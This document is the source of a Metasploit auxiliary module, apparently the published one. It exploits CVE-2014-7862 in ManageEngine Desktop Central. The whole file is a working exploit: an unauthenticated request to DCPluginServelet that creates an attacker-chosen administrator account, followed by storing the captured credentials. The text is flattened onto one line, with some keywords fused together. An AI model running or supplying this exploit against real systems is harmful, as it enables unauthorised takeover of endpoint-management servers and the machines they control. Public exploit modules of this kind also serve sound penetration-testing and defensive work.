## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core'class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'ManageEngine Desktop Central Administrator Account Creation', 'Description' => %q{ This module exploits an administrator account creation vulnerability in Desktop Central from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested inseveral versions of Desktop Central (including MSP) from v7 onwards. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-7862'], ['OSVDB', '116554'], ], 'DisclosureDate' => 'Dec 31 2014')) register_options( [ OptPort.new('RPORT', [true, 'The target port', 8020]), OptString.new('TARGETURI', [ true, 'ManageEngine Desktop Central URI', '/']), OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']), OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']), OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc']) ], self.class) enddef run # Generate password hash salt = Time.now.to_i.to_s password_encoded = Rex::Text.encode_base64([Rex::Text.md5(datastore['PASSWORD'] + salt)].pack('H*')) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "/servlets/DCPluginServelet"), 'method' =>'GET', 'vars_get' => { 'action' => 'addPlugInUser', 'role' => 'DCAdmin', 'userName' => datastore['USERNAME'], 'email' => datastore['EMAIL'], 'phNumber' => Rex::Text.rand_text_numeric(6), 'password' => password_encoded, 'salt' => salt, 'createdtime' => salt } }) # Yes, "sucess" is really mispelt, as is "Servelet" ... ! unless res && res.code == 200 && res.body && res.body.to_s =~ /sucess/ print_error("#{peer} - Administrator account creation failed") endprint_good("#{peer} - Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}") service_data = { address: rhost, port: rport, service_name: (ssl ? 'https' : 'http'), protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: self.fullname, private_type: :password, private_data: datastore['PASSWORD'], username: datastore['USERNAME'] } credential_data.merge!(service_data) credential_core = create_credential(credential_data) login_data = { core: credential_core, access_level: 'Administrator', status: Metasploit::Model::Login::Status::UNTRIED} login_data.merge!(service_data) create_credential_login(login_data) endend